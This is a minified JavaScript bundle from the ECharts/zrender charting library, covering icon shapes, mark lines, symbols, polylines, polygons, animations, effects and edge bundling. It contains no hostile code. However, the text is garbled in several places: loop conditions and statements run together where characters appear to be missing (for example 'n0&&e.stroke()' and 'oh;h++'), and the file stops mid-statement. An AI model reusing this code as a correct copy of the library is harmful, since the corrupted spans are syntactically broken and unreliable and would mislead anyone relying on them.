n=e("zrender/shape/Droplet");n.prototype.buildPath(t,{x:i.x+.5*i.width,y:i.y+.5*i.height,a:.5*i.width,b:.8*i.height})}function X(e,t){var i=t.x,n=t.y-t.height/2*1.5,a=t.width/2,o=t.height/2,r=Math.min(a,o);e.arc(i+a,n+o,r,Math.PI/5*4,Math.PI/5),e.lineTo(i+a,n+o+1.5*r),e.closePath()}function v(t,i,n){var a=e("zrender/shape/Image");this._imageShape=this._imageShape||new a({style:{}});for(var o in i)this._imageShape.style[o]=i[o];this._imageShape.brush(t,!1,n)}function w(e){I.call(this,e)}var K=e("zrender/tool/util"),I=e("zrender/shape/Base");return w.prototype={type:"icon",iconLibrary:{mark:t,markUndo:i,markClear:n,dataZoom:a,dataZoomReset:o,restore:r,lineChart:s,barChart:l,pieChart:h,funnelChart:m,forceChart:V,chordChart:U,stackChart:d,tiledChart:p,dataView:c,saveAsImage:u,cross:y,circle:g,rectangle:b,triangle:f,diamond:k,arrow:x,star:_,heart:L,droplet:W,pin:X,image:v},brush:function(t,i,n){var a=i?this.highlightStyle:this.style;a=a||{};var o=a.iconType||this.style.iconType;if("image"===o){var r=e("zrender/shape/Image");r.prototype.brush.call(this,t,i,n)}else{var a=this.beforeBrush(t,i);switch(t.beginPath(),this.buildPath(t,a,n),a.brushType){case"both":t.fill();case"stroke":a.lineWidth>0&&t.stroke();break;default:t.fill()}this.drawText(t,a,this.style),this.afterBrush(t)}},buildPath:function(e,t,i){this.iconLibrary[t.iconType]?this.iconLibrary[t.iconType].call(this,e,t,i):(e.moveTo(t.x,t.y),e.lineTo(t.x+t.width,t.y),e.lineTo(t.x+t.width,t.y+t.height),e.lineTo(t.x,t.y+t.height),e.lineTo(t.x,t.y),e.closePath())},getRect:function(e){return e.__rect?e.__rect:(e.__rect={x:Math.round(e.x),y:Math.round(e.y-("pin"==e.iconType?e.height/2*1.5:0)),width:e.width,height:e.height*("pin"===e.iconType?1.25:1)},e.__rect)},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);e=i[0],t=i[1];var n=this.style.__rect;n||(n=this.style.__rect=this.getRect(this.style));var a=n.height<8||n.width<8?4:0;return e>=n.x-a&&e<=n.x+n.width+a&&t>=n.y-a&&t<=n.y+n.height+a}},K.inherits(w,I),w}),i("echarts/util/shape/MarkLine",["require","zrender/shape/Base","./Icon","zrender/shape/Line","zrender/shape/BezierCurve","zrender/tool/area","zrender/shape/util/dashedLineTo","zrender/tool/util","zrender/tool/curve"],function(e){function t(e){i.call(this,e),this.style.curveness>0&&this.updatePoints(this.style),this.highlightStyle.curveness>0&&this.updatePoints(this.highlightStyle)}var i=e("zrender/shape/Base"),n=e("./Icon"),a=e("zrender/shape/Line"),o=new a({}),r=e("zrender/shape/BezierCurve"),s=new r({}),l=e("zrender/tool/area"),h=e("zrender/shape/util/dashedLineTo"),m=e("zrender/tool/util"),V=e("zrender/tool/curve");return t.prototype={type:"mark-line",brush:function(e,t){var i=this.style;t&&(i=this.getHighlightStyle(i,this.highlightStyle||{})),e.save(),this.setContext(e,i),this.setTransform(e),e.save(),e.beginPath(),this.buildPath(e,i),e.stroke(),e.restore(),this.brushSymbol(e,i,0),this.brushSymbol(e,i,1),this.drawText(e,i,this.style),e.restore()},buildPath:function(e,t){var i=t.lineType||"solid";if(e.moveTo(t.xStart,t.yStart),t.curveness>0){var n=null;switch(i){case"dashed":n=[5,5];break;case"dotted":n=[1,1]}n&&e.setLineDash&&e.setLineDash(n),e.quadraticCurveTo(t.cpX1,t.cpY1,t.xEnd,t.yEnd)}else if("solid"==i)e.lineTo(t.xEnd,t.yEnd);else{var a=(t.lineWidth||1)*("dashed"==t.lineType?5:1);h(e,t.xStart,t.yStart,t.xEnd,t.yEnd,a)}},updatePoints:function(e){var t=e.curveness||0,i=1,n=e.xStart,a=e.yStart,o=e.xEnd,r=e.yEnd,s=(n+o)/2-i*(a-r)*t,l=(a+r)/2-i*(o-n)*t;e.cpX1=s,e.cpY1=l},brushSymbol:function(e,t,i){if("none"!=t.symbol[i]){e.save(),e.beginPath(),e.lineWidth=t.symbolBorder,e.strokeStyle=t.symbolBorderColor;var a=t.symbol[i].replace("empty","").toLowerCase();t.symbol[i].match("empty")&&(e.fillStyle="#fff");var o=t.xStart,r=t.yStart,s=t.xEnd,l=t.yEnd,h=0===i?o:s,m=0===i?r:l,U=t.curveness||0,d=null!=t.symbolRotate[i]?t.symbolRotate[i]-0:0;if(d=d/180*Math.PI,"arrow"==a&&0===d)if(0===U){var p=0===i?-1:1;d=Math.PI/2+Math.atan2(p*(l-r),p*(s-o))}else{var c=t.cpX1,u=t.cpY1,y=V.quadraticDerivativeAt,g=y(o,c,s,i),b=y(r,u,l,i);d=Math.PI/2+Math.atan2(b,g)}e.translate(h,m),0!==d&&e.rotate(d);var f=t.symbolSize[i];n.prototype.buildPath(e,{x:-f,y:-f,width:2*f,height:2*f,iconType:a}),e.closePath(),e.fill(),e.stroke(),e.restore()}},getRect:function(e){return e.curveness>0?s.getRect(e):o.getRect(e),e.__rect},isCover:function(e,t){var i=this.transformCoordToLocal(e,t);return e=i[0],t=i[1],this.isCoverRect(e,t)?this.style.curveness>0?l.isInside(s,this.style,e,t):l.isInside(o,this.style,e,t):!1}},m.inherits(t,i),t}),i("echarts/util/shape/Symbol",["require","zrender/shape/Base","zrender/shape/Polygon","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Polygon"),a=new n({}),o=e("zrender/tool/util");return t.prototype={type:"symbol",buildPath:function(e,t){var i=t.pointList,n=i.length;if(0!==n)for(var a,o,r,s,l,h=1e4,m=Math.ceil(n/h),V=i[0]instanceof Array,U=t.size?t.size:2,d=U,p=U/2,c=2*Math.PI,u=0;m>u;u++){e.beginPath(),a=u*h,o=a+h,o=o>n?n:o;for(var y=a;o>y;y++)if(t.random&&(r=t["randomMap"+y%20]/100,d=U*r*r,p=d/2),V?(s=i[y][0],l=i[y][1]):(s=i[y].x,l=i[y].y),3>d)e.rect(s-p,l-p,d,d);else switch(t.iconType){case"circle":e.moveTo(s,l),e.arc(s,l,p,0,c,!0);break;case"diamond":e.moveTo(s,l-p),e.lineTo(s+p/3,l-p/3),e.lineTo(s+p,l),e.lineTo(s+p/3,l+p/3),e.lineTo(s,l+p),e.lineTo(s-p/3,l+p/3),e.lineTo(s-p,l),e.lineTo(s-p/3,l-p/3),e.lineTo(s,l-p);break;default:e.rect(s-p,l-p,d,d)}if(e.closePath(),m-1>u)switch(t.brushType){case"both":e.fill(),t.lineWidth>0&&e.stroke();break;case"stroke":t.lineWidth>0&&e.stroke();break;default:e.fill()}}},getRect:function(e){return e.__rect||a.getRect(e)},isCover:e("./normalIsCover")},o.inherits(t,i),t}),i("zrender/shape/Polyline",["require","./Base","./util/smoothSpline","./util/smoothBezier","./util/dashedLineTo","./Polygon","../tool/util"],function(e){var t=e("./Base"),i=e("./util/smoothSpline"),n=e("./util/smoothBezier"),a=e("./util/dashedLineTo"),o=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return o.prototype={type:"polyline",buildPath:function(e,t){var n=t.pointList;if(!(n.length<2)){var o=Math.min(t.pointList.length,Math.round(t.pointListLength||t.pointList.length));if(t.smooth&&"spline"!==t.smooth){t.controlPointList||this.updateControlPoints(t);var r=t.controlPointList;e.moveTo(n[0][0],n[0][1]);for(var s,l,h,m=0;o-1>m;m++)s=r[2*m],l=r[2*m+1],h=n[m+1],e.bezierCurveTo(s[0],s[1],l[0],l[1],h[0],h[1])}else if("spline"===t.smooth&&(n=i(n),o=n.length),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var V=(t.lineWidth||1)*("dashed"==t.lineType?5:1);e.moveTo(n[0][0],n[0][1]);for(var m=1;o>m;m++)a(e,n[m-1][0],n[m-1][1],n[m][0],n[m][1],V)}}else{e.moveTo(n[0][0],n[0][1]);for(var m=1;o>m;m++)e.lineTo(n[m][0],n[m][1])}}},updateControlPoints:function(e){e.controlPointList=n(e.pointList,e.smooth,!1,e.smoothConstraint)},getRect:function(t){return e("./Polygon").prototype.getRect(t)}},e("../tool/util").inherits(o,t),o}),i("zrender/shape/ShapeBundle",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={constructor:i,type:"shape-bundle",brush:function(e,t){var i=this.beforeBrush(e,t);e.beginPath();for(var n=0;n0&&e.stroke();break;default:e.fill()}this.drawText(e,i,this.style),this.afterBrush(e)},getRect:function(e){if(e.__rect)return e.__rect;for(var t=1/0,i=-(1/0),n=1/0,a=-(1/0),o=0;oh;h++)o[h]=[r[h][0],l];else for(var m=r[0][0],h=0;s>h;h++)o[h]=[m,r[h][1]];"half-smooth-polygon"==i.type&&(o[s-1]=p.clone(r[s-1]),o[s-2]=p.clone(r[s-2])),t={style:{pointList:o}}}o=t.style.pointList;var V=o.length;i.style.pointList=V==s?o:s>V?o.concat(r.slice(V)):o.slice(0,s),e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{pointList:r}).during(function(){i.updateControlPoints&&i.updateControlPoints(i.style)}).done(function(){i.__animating=!1}).start(a)}function i(e,t){for(var i=arguments.length,n=2;i>n;n++){var a=arguments[n];e.style[a]=t.style[a]}}function n(e,t,n,a,o){var r=n.style;t||(t={position:n.position,style:{x:r.x,y:"vertical"==n._orient?r.y+r.height:r.y,width:"vertical"==n._orient?r.width:0,height:"vertical"!=n._orient?r.height:0}});var s=r.x,l=r.y,h=r.width,m=r.height,V=[n.position[0],n.position[1]];i(n,t,"x","y","width","height"),n.position=t.position,e.addShape(n),(V[0]!=t.position[0]||V[1]!=t.position[1])&&e.animate(n.id,"").when(a,{position:V}).start(o),n.__animating=!0,e.animate(n.id,"style").when(a,{x:s,y:l,width:h,height:m}).done(function(){n.__animating=!1}).start(o)}function a(e,t,i,n,a){if(!t){var o=i.style.y;t={style:{y:[o[0],o[0],o[0],o[0]]}}}var r=i.style.y;i.style.y=t.style.y,e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{y:r}).done(function(){i.__animating=!1}).start(a)}function o(e,t,i,n,a){var o=i.style.x,r=i.style.y,s=i.style.r0,l=i.style.r;i.__animating=!0,"r"!=i._animationAdd?(i.style.r0=0,i.style.r=0,i.rotation=[2*Math.PI,o,r],e.addShape(i),e.animate(i.id,"style").when(n,{r0:s,r:l}).done(function(){i.__animating=!1}).start(a),e.animate(i.id,"").when(n,{rotation:[0,o,r]}).start(a)):(i.style.r0=i.style.r,e.addShape(i),e.animate(i.id,"style").when(n,{r0:s}).done(function(){i.__animating=!1}).start(a))}function r(e,t,n,a,o){t||(t="r"!=n._animationAdd?{ +style:{startAngle:n.style.startAngle,endAngle:n.style.startAngle}}:{style:{r0:n.style.r}});var r=n.style.startAngle,s=n.style.endAngle;i(n,t,"startAngle","endAngle"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{startAngle:r,endAngle:s}).done(function(){n.__animating=!1}).start(o)}function s(e,t,n,a,o){t||(t={style:{x:"left"==n.style.textAlign?n.style.x+100:n.style.x-100,y:n.style.y}});var r=n.style.x,s=n.style.y;i(n,t,"x","y"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{x:r,y:s}).done(function(){n.__animating=!1}).start(o)}function l(t,i,n,a,o){var r=e("zrender/shape/Polygon").prototype.getRect(n.style),s=r.x+r.width/2,l=r.y+r.height/2;n.scale=[.1,.1,s,l],t.addShape(n),n.__animating=!0,t.animate(n.id,"").when(a,{scale:[1,1,s,l]}).done(function(){n.__animating=!1}).start(o)}function h(e,t,n,a,o){t||(t={style:{source0:0,source1:n.style.source1>0?360:-360,target0:0,target1:n.style.target1>0?360:-360}});var r=n.style.source0,s=n.style.source1,l=n.style.target0,h=n.style.target1;t.style&&i(n,t,"source0","source1","target0","target1"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{source0:r,source1:s,target0:l,target1:h}).done(function(){n.__animating=!1}).start(o)}function m(e,t,i,n,a){t||(t={style:{angle:i.style.startAngle}});var o=i.style.angle;i.style.angle=t.style.angle,e.addShape(i),i.__animating=!0,e.animate(i.id,"style").when(n,{angle:o}).done(function(){i.__animating=!1}).start(a)}function V(e,t,i,a,o,r){if(i.style._x=i.style.x,i.style._y=i.style.y,i.style._width=i.style.width,i.style._height=i.style.height,t)n(e,t,i,a,o);else{var s=i._x||0,l=i._y||0;i.scale=[.01,.01,s,l],e.addShape(i),i.__animating=!0,e.animate(i.id,"").delay(r).when(a,{scale:[1,1,s,l]}).done(function(){i.__animating=!1}).start(o||"QuinticOut")}}function U(e,t,n,a,o){t||(t={style:{xStart:n.style.xStart,yStart:n.style.yStart,xEnd:n.style.xStart,yEnd:n.style.yStart}});var r=n.style.xStart,s=n.style.xEnd,l=n.style.yStart,h=n.style.yEnd;i(n,t,"xStart","xEnd","yStart","yEnd"),e.addShape(n),n.__animating=!0,e.animate(n.id,"style").when(a,{xStart:r,xEnd:s,yStart:l,yEnd:h}).done(function(){n.__animating=!1}).start(o)}function d(e,t,i,n,a){a=a||"QuinticOut",i.__animating=!0,e.addShape(i);var o=i.style,r=function(){i.__animating=!1},s=o.xStart,l=o.yStart,h=o.xEnd,m=o.yEnd;if(o.curveness>0){i.updatePoints(o);var V={p:0},U=o.cpX1,d=o.cpY1,p=[],u=[],y=c.quadraticSubdivide;e.animation.animate(V).when(n,{p:1}).during(function(){y(s,U,h,V.p,p),y(l,d,m,V.p,u),o.cpX1=p[1],o.cpY1=u[1],o.xEnd=p[2],o.yEnd=u[2],e.modShape(i)}).done(r).start(a)}else e.animate(i.id,"style").when(0,{xEnd:s,yEnd:l}).when(n,{xEnd:h,yEnd:m}).done(r).start(a)}var p=e("zrender/tool/util"),c=e("zrender/tool/curve");return{pointList:t,rectangle:n,candle:a,ring:o,sector:r,text:s,polygon:l,ribbon:h,gaugePointer:m,icon:V,line:U,markline:d}}),i("echarts/util/ecEffect",["require","../util/ecData","zrender/shape/Circle","zrender/shape/Image","zrender/tool/curve","../util/shape/Icon","../util/shape/Symbol","zrender/shape/ShapeBundle","zrender/shape/Polyline","zrender/tool/vector","zrender/tool/env"],function(e){function t(e,t,i,n){var a,r=i.effect,l=r.color||i.style.strokeColor||i.style.color,m=r.shadowColor||l,V=r.scaleSize,U=r.bounceDistance,d="undefined"!=typeof r.shadowBlur?r.shadowBlur:V;"image"!==i.type?(a=new h({zlevel:n,style:{brushType:"stroke",iconType:"droplet"!=i.style.iconType?i.style.iconType:"circle",x:d+1,y:d+1,n:i.style.n,width:i.style._width*V,height:i.style._height*V,lineWidth:1,strokeColor:l,shadowColor:m,shadowBlur:d},draggable:!1,hoverable:!1}),"pin"==i.style.iconType&&(a.style.y+=a.style.height/2*1.5),p&&(a.style.image=e.shapeToImage(a,a.style.width+2*d+2,a.style.height+2*d+2).style.image,a=new s({zlevel:a.zlevel,style:a.style,draggable:!1,hoverable:!1}))):a=new s({zlevel:n,style:i.style,draggable:!1,hoverable:!1}),o.clone(i,a),a.position=i.position,t.push(a),e.addShape(a);var c="image"!==i.type?window.devicePixelRatio||1:1,u=(a.style.width/c-i.style._width)/2;a.style.x=i.style._x-u,a.style.y=i.style._y-u,"pin"==i.style.iconType&&(a.style.y-=i.style.height/2*1.5);var y=100*(r.period+10*Math.random());e.modShape(i.id,{invisible:!0});var g=a.style.x+a.style.width/2/c,b=a.style.y+a.style.height/2/c;"scale"===r.type?(e.modShape(a.id,{scale:[.1,.1,g,b]}),e.animate(a.id,"",r.loop).when(y,{scale:[1,1,g,b]}).done(function(){i.effect.show=!1,e.delShape(a.id)}).start()):e.animate(a.id,"style",r.loop).when(y,{y:a.style.y-U}).when(2*y,{y:a.style.y}).done(function(){i.effect.show=!1,e.delShape(a.id)}).start()}function i(e,t,i,n){var a=i.effect,o=a.color||i.style.strokeColor||i.style.color,r=a.scaleSize,s=a.shadowColor||o,l="undefined"!=typeof a.shadowBlur?a.shadowBlur:2*r,h=window.devicePixelRatio||1,V=new m({zlevel:n,position:i.position,scale:i.scale,style:{pointList:i.style.pointList,iconType:i.style.iconType,color:o,strokeColor:o,shadowColor:s,shadowBlur:l*h,random:!0,brushType:"fill",lineWidth:1,size:i.style.size},draggable:!1,hoverable:!1});t.push(V),e.addShape(V),e.modShape(i.id,{invisible:!0});for(var U=Math.round(100*a.period),d={},p={},c=0;20>c;c++)V.style["randomMap"+c]=0,d={},d["randomMap"+c]=100,p={},p["randomMap"+c]=0,V.style["randomMap"+c]=100*Math.random(),e.animate(V.id,"style",!0).when(U,d).when(2*U,p).when(3*U,d).when(4*U,d).delay(Math.random()*U*c).start()}function n(e,t,i,n,a){var s=i.effect,h=i.style,m=s.color||h.strokeColor||h.color,V=s.shadowColor||h.strokeColor||m,c=h.lineWidth*s.scaleSize,u="undefined"!=typeof s.shadowBlur?s.shadowBlur:c,y=new r({zlevel:n,style:{x:u,y:u,r:c,color:m,shadowColor:V,shadowBlur:u},hoverable:!1}),g=0;if(p&&!a){var n=y.zlevel;y=e.shapeToImage(y,2*(c+u),2*(c+u)),y.zlevel=n,y.hoverable=!1,g=u}a||(o.clone(i,y),y.position=i.position,t.push(y),e.addShape(y));var b=function(){a||(i.effect.show=!1,e.delShape(y.id)),y.effectAnimator=null};if(i instanceof U){for(var f=[0],k=0,x=h.pointList,_=h.controlPointList,L=1;L0){var F=h.cpX1-g,T=h.cpY1-g;y.effectAnimator=e.animation.animate(y,{loop:s.loop}).when(E,{p:1}).during(function(t,i){y.style.x=l.quadraticAt(K,F,J,i),y.style.y=l.quadraticAt(I,T,C,i),a||e.modShape(y)}).done(b).start()}else y.effectAnimator=e.animation.animate(y.style,{loop:s.loop}).when(E,{x:J,y:C}).during(function(){a||e.modShape(y)}).done(b).start();y.effectAnimator.duration=E}return y}function a(e,t,i,a){var o=new V({style:{shapeList:[]},zlevel:a,hoverable:!1}),r=i.style.shapeList,s=i.effect;o.position=i.position;for(var l=0,h=[],m=0;ml&&(l=d.duration),0===m&&(o.style.color=U.style.color,o.style.shadowBlur=U.style.shadowBlur,o.style.shadowColor=U.style.shadowColor),h.push(d)}t.push(o),e.addShape(o);var p=function(){for(var e=0;e=0;o--)t=s.type==i.CHART_TYPE_PIE||s.type==i.CHART_TYPE_FUNNEL?n.get(s.shapeList[o],"name"):(n.get(s.shapeList[o],"series")||{}).name,t!=a||s.shapeList[o].invisible||s.shapeList[o].__animating||s.zr.addHoverShape(s.shapeList[o])},t&&t.bind(i.EVENT.LEGEND_HOVERLINK,this._onlegendhoverlink)}var i=e("../config"),n=e("../util/ecData"),a=e("../util/ecQuery"),o=e("../util/number"),r=e("zrender/tool/util");return t.prototype={canvasSupported:e("zrender/tool/env").canvasSupported,_getZ:function(e){if(null!=this[e])return this[e];var t=this.ecTheme[this.type];return t&&null!=t[e]?t[e]:(t=i[this.type],t&&null!=t[e]?t[e]:0)},getZlevelBase:function(){return this._getZ("zlevel")},getZBase:function(){return this._getZ("z")},reformOption:function(e){return e=r.merge(r.merge(e||{},r.clone(this.ecTheme[this.type]||{})),r.clone(i[this.type]||{})),this.z=e.z,this.zlevel=e.zlevel,e},reformCssArray:function(e){if(!(e instanceof Array))return[e,e,e,e];switch(e.length+""){case"4":return e;case"3":return[e[0],e[1],e[2],e[1]];case"2":return[e[0],e[1],e[0],e[1]];case"1":return[e[0],e[0],e[0],e[0]];case"0":return[0,0,0,0]}},getShapeById:function(e){for(var t=0,i=this.shapeList.length;i>t;t++)if(this.shapeList[t].id===e)return this.shapeList[t];return null},getFont:function(e){var t=this.getTextStyle(r.clone(e));return t.fontStyle+" "+t.fontWeight+" "+t.fontSize+"px "+t.fontFamily},getTextStyle:function(e){return r.merge(r.merge(e||{},this.ecTheme.textStyle),i.textStyle)},getItemStyleColor:function(e,t,i,n){return"function"==typeof e?e.call(this.myChart,{seriesIndex:t,series:this.series[t],dataIndex:i,data:n}):e},getDataFromOption:function(e,t){return null!=e?null!=e.value?e.value:e:t},subPixelOptimize:function(e,t){return e=t%2===1?Math.floor(e)+.5:Math.round(e)},resize:function(){this.refresh&&this.refresh(),this.clearEffectShape&&this.clearEffectShape(!0);var e=this;setTimeout(function(){e.animationEffect&&e.animationEffect()},200)},clear:function(){this.clearEffectShape&&this.clearEffectShape(),this.zr&&this.zr.delShape(this.shapeList),this.shapeList=[]},dispose:function(){this.onbeforDispose&&this.onbeforDispose(),this.clear(),this.shapeList=null,this.effectList=null,this.messageCenter&&this.messageCenter.unbind(i.EVENT.LEGEND_HOVERLINK,this._onlegendhoverlink),this.onafterDispose&&this.onafterDispose()},query:a.query,deepQuery:a.deepQuery,deepMerge:a.deepMerge,parsePercent:o.parsePercent,parseCenter:o.parseCenter,parseRadius:o.parseRadius,numAddCommas:o.addCommas,getPrecision:o.getPrecision},t}),i("echarts/layout/EdgeBundling",["require","../data/KDTree","zrender/tool/vector"],function(e){function t(e,t){e=e.array,t=t.array;var i=t[0]-e[0],n=t[1]-e[1],a=t[2]-e[2],o=t[3]-e[3];return i*i+n*n+a*a+o*o}function i(e){this.points=[e.mp0,e.mp1],this.group=e}function n(e){var t=e.points;t[0][1]0&&t(e[o],n[a-1])||(n[a++]=U(e[o]));return i[0]&&!t(n[0],i[0])&&(n=n.reverse()),n}for(var a=this._iterate(e),o=0;o++f&&(f=W,k=L,V(g,c),V(y,p),b=u)}if(k){s+=f;var X;k.group||(X=new a,o.push(X),X.addEdge(k)),X=k.group,V(X.mp0,y),V(X.mp1,g),X.ink=b,k.group.addEdge(m)}else{var X=new a;o.push(X),V(X.mp0,m.getStartPoint()),V(X.mp1,m.getEndPoint()),X.ink=m.ink,X.addEdge(m)}}}return{groups:o,edges:i,savedInk:s}},_calculateEdgeEdgeInk:function(){var e=[],t=[];return function(i,n,a,o){e[0]=i.getStartPoint(),e[1]=n.getStartPoint(),t[0]=i.getEndPoint(),t[1]=n.getEndPoint(),this._calculateMeetPoints(e,t,a,o);var r=m(e[0],a)+m(a,o)+m(o,t[0])+m(e[1],a)+m(o,t[1]);return r}}(),_calculateGroupEdgeInk:function(e,t,i,n){for(var a=[],o=[],r=0;rl;l++)s.add(e,e,i[l]);s.scale(e,e,1/r),r=n.length;for(var l=0;r>l;l++)s.add(t,t,n[l]);s.scale(t,t,1/r),this._limitTurningAngle(i,e,t,a),this._limitTurningAngle(n,t,e,o)}}(),_limitTurningAngle:function(){var e=l(),t=l(),i=l(),n=l();return function(a,o,r,l){var V=Math.cos(this.maxTurningAngle),U=Math.tan(this.maxTurningAngle);s.sub(e,o,r),s.normalize(e,e),s.copy(l,o);for(var d=0,p=0;py){s.scaleAndAdd(i,o,e,u*y);var g=m(i,c),b=g/U;s.scaleAndAdd(n,i,e,-b);var f=h(n,o);f>d&&(d=f,s.copy(l,n))}}}}()},o}),i("zrender/shape/Star",["require","../tool/math","./Base","../tool/util"],function(e){var t=e("../tool/math"),i=t.sin,n=t.cos,a=Math.PI,o=e("./Base"),r=function(e){o.call(this,e)};return r.prototype={type:"star",buildPath:function(e,t){var o=t.n;if(o&&!(2>o)){var r=t.x,s=t.y,l=t.r,h=t.r0;null==h&&(h=o>4?l*n(2*a/o)/n(a/o):l/3);var m=a/o,V=-a/2,U=r+l*n(V),d=s+l*i(V);V+=m;var p=t.pointList=[];p.push([U,d]);for(var c,u=0,y=2*o-1;y>u;u++)c=u%2===0?h:l,p.push([r+c*n(V),s+c*i(V)]),V+=m;p.push([U,d]),e.moveTo(p[0][0],p[0][1]);for(var u=0;ur;r+=2)e[0]=Math.min(e[0],e[0],o[r]),e[1]=Math.min(e[1],e[1],o[r+1]),i[0]=Math.max(i[0],i[0],o[r]),i[1]=Math.max(i[1],i[1],o[r+1]);break;case"Q":for(var r=0;4>r;r+=2)e[0]=Math.min(e[0],e[0],o[r]),e[1]=Math.min(e[1],e[1],o[r+1]),i[0]=Math.max(i[0],i[0],o[r]),i[1]=Math.max(i[1],i[1],o[r+1]);break;case"A":var s=o[0],l=o[1],h=o[2],m=o[3];e[0]=Math.min(e[0],e[0],s-h),e[1]=Math.min(e[1],e[1],l-m),i[0]=Math.max(i[0],i[0],s+h),i[1]=Math.max(i[1],i[1],l+m)}}return{x:e[0],y:e[1],width:i[0]-e[0],height:i[1]-e[1]}},n.prototype.begin=function(e){return this._ctx=e||null,this.pathCommands.length=0,this},n.prototype.moveTo=function(e,t){return this.pathCommands.push(new i("M",[e,t])),this._ctx&&this._ctx.moveTo(e,t),this},n.prototype.lineTo=function(e,t){return this.pathCommands.push(new i("L",[e,t])),this._ctx&&this._ctx.lineTo(e,t),this},n.prototype.bezierCurveTo=function(e,t,n,a,o,r){return this.pathCommands.push(new i("C",[e,t,n,a,o,r])),this._ctx&&this._ctx.bezierCurveTo(e,t,n,a,o,r),this},n.prototype.quadraticCurveTo=function(e,t,n,a){return this.pathCommands.push(new i("Q",[e,t,n,a])),this._ctx&&this._ctx.quadraticCurveTo(e,t,n,a),this},n.prototype.arc=function(e,t,n,a,o,r){return this.pathCommands.push(new i("A",[e,t,n,n,a,o-a,0,r?0:1])),this._ctx&&this._ctx.arc(e,t,n,a,o,r),this},n.prototype.arcTo=function(e,t,i,n,a){return this._ctx&&this._ctx.arcTo(e,t,i,n,a),this},n.prototype.rect=function(e,t,i,n){return this._ctx&&this._ctx.rect(e,t,i,n),this},n.prototype.closePath=function(){return this.pathCommands.push(new i("z")),this._ctx&&this._ctx.closePath(),this},n.prototype.isEmpty=function(){return 0===this.pathCommands.length},n.PathSegment=i,n}),i("zrender/shape/Line",["require","./Base","./util/dashedLineTo","../tool/util"],function(e){var t=e("./Base"),i=e("./util/dashedLineTo"),n=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return n.prototype={type:"line",buildPath:function(e,t){if(t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var n=(t.lineWidth||1)*("dashed"==t.lineType?5:1);i(e,t.xStart,t.yStart,t.xEnd,t.yEnd,n)}}else e.moveTo(t.xStart,t.yStart),e.lineTo(t.xEnd,t.yEnd)},getRect:function(e){if(e.__rect)return e.__rect;var t=e.lineWidth||1;return e.__rect={x:Math.min(e.xStart,e.xEnd)-t,y:Math.min(e.yStart,e.yEnd)-t,width:Math.abs(e.xStart-e.xEnd)+t,height:Math.abs(e.yStart-e.yEnd)+t},e.__rect}},e("../tool/util").inherits(n,t),n}),i("zrender/shape/BezierCurve",["require","./Base","../tool/util"],function(e){"use strict";var t=e("./Base"),i=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return i.prototype={type:"bezier-curve",buildPath:function(e,t){e.moveTo(t.xStart,t.yStart),"undefined"!=typeof t.cpX2&&"undefined"!=typeof t.cpY2?e.bezierCurveTo(t.cpX1,t.cpY1,t.cpX2,t.cpY2,t.xEnd,t.yEnd):e.quadraticCurveTo(t.cpX1,t.cpY1,t.xEnd,t.yEnd)},getRect:function(e){if(e.__rect)return e.__rect;var t=Math.min(e.xStart,e.xEnd,e.cpX1),i=Math.min(e.yStart,e.yEnd,e.cpY1),n=Math.max(e.xStart,e.xEnd,e.cpX1),a=Math.max(e.yStart,e.yEnd,e.cpY1),o=e.cpX2,r=e.cpY2;"undefined"!=typeof o&&"undefined"!=typeof r&&(t=Math.min(t,o),i=Math.min(i,r),n=Math.max(n,o),a=Math.max(a,r));var s=e.lineWidth||1;return e.__rect={x:t-s,y:i-s,width:n-t+s,height:a-i+s},e.__rect}},e("../tool/util").inherits(i,t),i}),i("zrender/shape/util/dashedLineTo",[],function(){var e=[5,5];return function(t,i,n,a,o,r){if(t.setLineDash)return e[0]=e[1]=r,t.setLineDash(e),t.moveTo(i,n),void t.lineTo(a,o);r="number"!=typeof r?5:r;var s=a-i,l=o-n,h=Math.floor(Math.sqrt(s*s+l*l)/r);s/=h,l/=h;for(var m=!0,V=0;h>V;++V)m?t.moveTo(i,n):t.lineTo(i,n),m=!m,i+=s,n+=l;t.lineTo(a,o)}}),i("zrender/shape/Polygon",["require","./Base","./util/smoothSpline","./util/smoothBezier","./util/dashedLineTo","../tool/util"],function(e){var t=e("./Base"),i=e("./util/smoothSpline"),n=e("./util/smoothBezier"),a=e("./util/dashedLineTo"),o=function(e){t.call(this,e)};return o.prototype={type:"polygon",buildPath:function(e,t){var o=t.pointList;if(!(o.length<2)){if(t.smooth&&"spline"!==t.smooth){var r=n(o,t.smooth,!0,t.smoothConstraint);e.moveTo(o[0][0],o[0][1]);for(var s,l,h,m=o.length,V=0;m>V;V++)s=r[2*V],l=r[2*V+1],h=o[(V+1)%m],e.bezierCurveTo(s[0],s[1],l[0],l[1],h[0],h[1])}else if("spline"===t.smooth&&(o=i(o,!0)),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var U=t._dashLength||(t.lineWidth||1)*("dashed"==t.lineType?5:1);t._dashLength=U,e.moveTo(o[0][0],o[0][1]);for(var V=1,d=o.length;d>V;V++)a(e,o[V-1][0],o[V-1][1],o[V][0],o[V][1],U);a(e,o[o.length-1][0],o[o.length-1][1],o[0][0],o[0][1],U)}}else{e.moveTo(o[0][0],o[0][1]);for(var V=1,d=o.length;d>V;V++)e.lineTo(o[V][0],o[V][1]);e.lineTo(o[0][0],o[0][1])}e.closePath()}},getRect:function(e){if(e.__rect)return e.__rect;for(var t=Number.MAX_VALUE,i=Number.MIN_VALUE,n=Number.MAX_VALUE,a=Number.MIN_VALUE,o=e.pointList,r=0,s=o.length;s>r;r++)o[r][0]i&&(i=o[r][0]),o[r][1]a&&(a=o[r][1]);var l;return 